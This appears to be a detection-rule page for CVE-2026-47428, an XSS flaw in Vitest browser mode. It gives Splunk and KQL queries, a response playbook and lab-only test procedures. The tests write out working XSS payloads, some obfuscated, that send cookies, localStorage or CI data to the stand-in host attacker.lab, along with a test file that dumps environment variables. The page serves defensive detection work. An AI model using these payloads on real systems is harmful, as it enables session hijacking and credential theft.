CVE-2026-47428 Splunk · SPL

Detect CVE-2026-47428: Vitest Browser Mode XSS via Unsanitized otelCarrier Query Parameter in Splunk

CVE-2026-47428 is a reflected Cross-Site Scripting (XSS) vulnerability in @vitest/browser versions >= 4.0.17 < 4.1.6 and >= 5.0.0-beta.0 < 5.0.0-beta.3. The browser mode development server serves the otelCarrier query parameter as unsanitized inline script content in esm-client-injector.js and serverOrchestrator.ts, allowing an attacker to inject arbitrary JavaScript into the test runner's browser context. With a CVSS of 9.6 and public PoC available, this poses a critical risk to CI/CD pipelines and developer workstations running Vitest browser mode tests, potentially enabling credential theft, session hijacking, or supply chain compromise.

MITRE ATT&CK

Tactic
Execution Lateral Movement Initial Access

SPL Detection Query

Splunk (SPL)
spl
index=proxy OR index=web OR index=endpoint sourcetype IN ("access_combined", "stream:http", "crowdstrike:events:sensor", "sysmon")
| eval query_string=coalesce(query_string, cs_uri_query, uri_query, url)
| search query_string="*otelCarrier*"
| rex field=query_string "otelCarrier=(?<otel_value>[^&\s]+)"
| eval is_suspicious=if(match(otel_value, "[<>\"'{}\\(\\)]"), 1, 0)
| where is_suspicious=1 OR (sourcetype="sysmon" AND process_name IN ("node", "node.exe") AND (command_line="*vitest*" OR command_line="*@vitest/browser*"))
| table _time, host, src_ip, dest_ip, uri, otel_value, process_name, command_line, user
| sort -_time
critical severity medium confidence

Detects suspicious otelCarrier query parameter values containing HTML/script injection characters indicative of CVE-2026-47428 exploitation, and Vitest browser mode process invocations.

Data Sources

Web/Proxy LogsCrowdStrike FalconSysmonEndpoint Detection

Required Sourcetypes

access_combinedstream:httpcrowdstrike:events:sensorsysmon

False Positives & Tuning

  • Legitimate OpenTelemetry distributed tracing using otelCarrier parameter in microservices architectures
  • CI/CD systems running Vitest browser tests with benign otelCarrier values for trace propagation
  • Security scanning tools probing for XSS vulnerabilities as part of authorized DAST testing
  • URL encoding artifacts that superficially resemble injection characters in legitimate otelCarrier values

Other platforms for CVE-2026-47428


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-47428 Basic XSS via otelCarrier Parameter

    Expected signal: HTTP request logs showing otelCarrier parameter containing <script> tags; Node.js process spawning on port 5173; outbound network connection to attacker.lab if XSS executes successfully in browser

  2. Test 2CVE-2026-47428 Event Handler XSS Payload Variant

    Expected signal: HTTP requests with onerror, onload event handler patterns in otelCarrier; DNS/network connections to attacker.lab from browser process if XSS executes; browser process network activity on non-standard ports

  3. Test 3CVE-2026-47428 CI/CD Pipeline Exploitation Simulation

    Expected signal: Node.js process with vitest and --browser arguments; child browser process (Chromium/Playwright) spawned from test runner; outbound HTTP connections from browser process to external host; environment variable access logged by audit framework


Response Playbook

Triage

  1. Identify all hosts running @vitest/browser versions >= 4.0.17 < 4.1.6 or >= 5.0.0-beta.0 < 5.0.0-beta.3 by querying package.json files, npm audit output, or SBOM data across developer workstations and CI/CD nodes.
  2. Determine if the Vitest browser mode server was exposed beyond localhost — check for 0.0.0.0 bindings, port forwarding rules, or reverse proxy configurations that may have allowed external access to the development server.
  3. Review web/proxy access logs for requests containing otelCarrier parameters with XSS payloads (script tags, event handlers, javascript: URIs) directed at Vitest server ports (default 5173-5175, 4173).
  4. Assess whether any browser sessions were active during the suspected exploitation window and check for evidence of credential theft, token exfiltration, or unauthorized DOM access in browser telemetry or network logs.
  5. Check CI/CD pipeline logs for any unusual network connections or data exfiltration from test runner nodes that coincide with Vitest browser mode test executions.

Containment

  1. Immediately update @vitest/browser to >= 4.1.6 or >= 5.0.0-beta.3 on all affected systems. If immediate patching is not possible, disable Vitest browser mode or block external access to Vitest development server ports via firewall rules.
  2. Revoke any credentials, tokens, or session cookies that may have been accessible in the browser context during Vitest test runs on potentially compromised developer workstations, including npm tokens, GitHub personal access tokens, and cloud provider credentials stored in browser storage.

Evidence Collection

  1. Capture full HTTP request/response logs from the period of suspected exploitation, focusing on requests to Vitest server endpoints containing otelCarrier parameters. Preserve URL-encoded values before any normalization.
  2. Collect memory dumps or browser forensic artifacts from developer workstations where Vitest browser mode was active, including browser storage (localStorage, sessionStorage, cookies), browser history, and network request logs from DevTools if available.

Escalation Criteria

  • !Escalate immediately if XSS exploitation resulted in exfiltration of npm tokens, CI/CD secrets, cloud provider credentials, or code signing keys — the blast radius extends to the software supply chain.
  • !Escalate if the Vitest development server was network-accessible to untrusted parties (internet-exposed, shared developer network, or multi-tenant CI/CD infrastructure), as exploitation may have been opportunistic rather than targeted.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >HTTP access logs from Vitest development server showing requests to orchestrator endpoints with otelCarrier query parameters containing XSS payloads
  • >npm package-lock.json or yarn.lock files confirming @vitest/browser version installed on affected systems
  • >Browser developer tools network logs or HAR files from test runner sessions showing injected script execution
  • >Node.js process logs from CI/CD runners or developer machines showing Vitest browser mode invocation timestamps

Tuning Guidance

This detection has medium confidence due to the dual-use nature of the otelCarrier parameter in legitimate OpenTelemetry deployments. To reduce false positives: (1) Scope the detection to development network segments and CI/CD infrastructure rather than production network paths where Vitest browser mode should never be present. (2) Add allowlist filters for known-good otelCarrier formats such as base64-encoded W3C traceparent values that match the regex ^[A-Za-z0-9+/=]+$. (3) Correlate HTTP detections with process detections — the combination of a suspicious otelCarrier request AND a running Vitest browser mode process is a much higher-fidelity signal. (4) Consider tuning severity down to high if your organization uses extensive OpenTelemetry instrumentation, and rely more heavily on the process-based correlation.


Hunting Queries

Threat hunt for historical exploitation attempts of CVE-2026-47428 across 30 days, searching for XSS payloads in otelCarrier parameters directed at common Vitest browser mode server ports.

Hunting — KQL
kql
DeviceNetworkEvents
| where TimeGenerated >= ago(30d)
| where RemotePort in (5173, 5174, 5175, 4173, 3000)
| where RemoteUrl contains "otelCarrier"
| extend decoded_param = url_decode(extract(@"otelCarrier=([^&]+)", 1, RemoteUrl))
| where decoded_param matches regex @"[<>"'{}]|script|javascript:|on\w+="
| summarize count() by DeviceName, RemoteUrl, decoded_param
| order by count_ desc
Hunting — SPL
spl
index=* (sourcetype=access_combined OR sourcetype=stream:http)
| rex field=uri "otelCarrier=(?<otel_raw>[^&\s]+)"
| eval otel_decoded=urldecode(otel_raw)
| search otel_decoded IN ("*<*", "*script*", "*javascript:*", "*onerror*")
| stats count by host, src, uri, otel_decoded
| sort -count

Atomic Red Team Tests

Test 1 CVE-2026-47428 Basic XSS via otelCarrier Parameter
linux

Simulates the most basic exploitation of CVE-2026-47428 by sending a crafted HTTP request to a vulnerable Vitest browser mode server with an XSS payload in the otelCarrier query parameter.

Command

bash
# LAB ONLY — requires a vulnerable @vitest/browser instance running locally
# Install vulnerable version
npx create-vitest-project@latest test-cve-2026-47428 --template browser && cd test-cve-2026-47428
npm install @vitest/[email protected]
# Start Vitest browser mode in background
npx vitest --browser &
VITEST_PID=$!
sleep 5
# Send XSS payload via otelCarrier parameter
curl -v 'http://localhost:5173/?otelCarrier=<script>fetch("http://attacker.lab/"+document.cookie)</script>'
# Also test URL-encoded variant
curl -v 'http://localhost:5173/?otelCarrier=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
kill $VITEST_PID

Cleanup

bash
cd .. && rm -rf test-cve-2026-47428

Expected Telemetry

HTTP request logs showing otelCarrier parameter containing <script> tags; Node.js process spawning on port 5173; outbound network connection to attacker.lab if XSS executes successfully in browser

Expected Detection

Triggers kql DeviceNetworkEvents rule on otelCarrier XSS pattern; triggers spl access_combined sourcetype rule; triggers chronicle_yaral NETWORK_HTTP rule matching script injection pattern

Test 2 CVE-2026-47428 Event Handler XSS Payload Variant
linux

Tests an alternative XSS payload using HTML event handlers rather than script tags, bypassing naive script-tag-only filters while still exploiting the unsanitized otelCarrier parameter.

Command

bash
# LAB ONLY — requires a vulnerable @vitest/browser instance running locally on port 5173
# Test event handler based XSS
curl -v 'http://localhost:5173/?otelCarrier=<img src=x onerror=fetch(String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,46,108,97,98,47)+document.cookie)>'
# Test javascript: URI variant via anchor injection
curl -v 'http://localhost:5173/?otelCarrier=<a href=javascript:void(fetch("http://attacker.lab/"+btoa(JSON.stringify(localStorage))))>click</a>'
# Test SVG-based XSS
curl -v 'http://localhost:5173/?otelCarrier=<svg onload=eval(atob("ZmV0Y2goImh0dHA6Ly9hdHRhY2tlci5sYWIvIitidG9hKGRvY3VtZW50LmNvb2tpZSkp"))>'

Cleanup

bash
No persistent changes; terminate any Vitest browser mode process started for testing

Expected Telemetry

HTTP requests with onerror, onload event handler patterns in otelCarrier; DNS/network connections to attacker.lab from browser process if XSS executes; browser process network activity on non-standard ports

Expected Detection

Triggers detection rules filtering for on\w+= patterns in otelCarrier; crowdstrike_cql NetworkConnectIP4 rule on suspicious outbound connections from Node.js/browser process; sumo_logic event_handler injection_type classification

Test 3 CVE-2026-47428 CI/CD Pipeline Exploitation Simulation
linux

Simulates an attacker exploiting CVE-2026-47428 in a CI/CD context by crafting a malicious PR that injects an otelCarrier payload to steal CI runner credentials when browser tests execute.

Command

bash
# LAB ONLY — simulates CI/CD exploitation scenario
# Create a test project with vulnerable vitest/browser version
mkdir -p /tmp/lab-cve-2026-47428 && cd /tmp/lab-cve-2026-47428
cat > package.json <<'EOF'
{"name":"lab","scripts":{"test":"vitest --browser"},"devDependencies":{"@vitest/browser":"4.0.17","vitest":"2.1.0"}}
EOF
npm install
# Create malicious test file that would be submitted via PR
cat > credential_stealer.test.ts <<'EOF'
// Simulated malicious test — reads CI env vars
test('benign test name', () => {
  console.log('Env dump:', JSON.stringify(process.env));
});
EOF
# Simulate the XSS payload that would be injected via otelCarrier when test runner opens browser
echo 'Payload: <script>fetch("http://attacker.lab/exfil?d="+btoa(JSON.stringify({cookie:document.cookie,origin:location.origin})))</script>'
# In real exploitation, this payload would be in the otelCarrier param of the URL opened by vitest browser mode
# Demonstrate process telemetry
ps aux | grep -E 'vitest|chromium|playwright' || echo 'No browser test processes currently running'

Cleanup

bash
rm -rf /tmp/lab-cve-2026-47428

Expected Telemetry

Node.js process with vitest and --browser arguments; child browser process (Chromium/Playwright) spawned from test runner; outbound HTTP connections from browser process to external host; environment variable access logged by audit framework

Expected Detection

Triggers crowdstrike_cql ProcessRollup2 rule on node.exe with vitest browser commandline; elastic_eql sequence rule correlating network activity with Vitest process; kql DeviceProcessEvents rule on Vitest browser mode invocation

Related Detections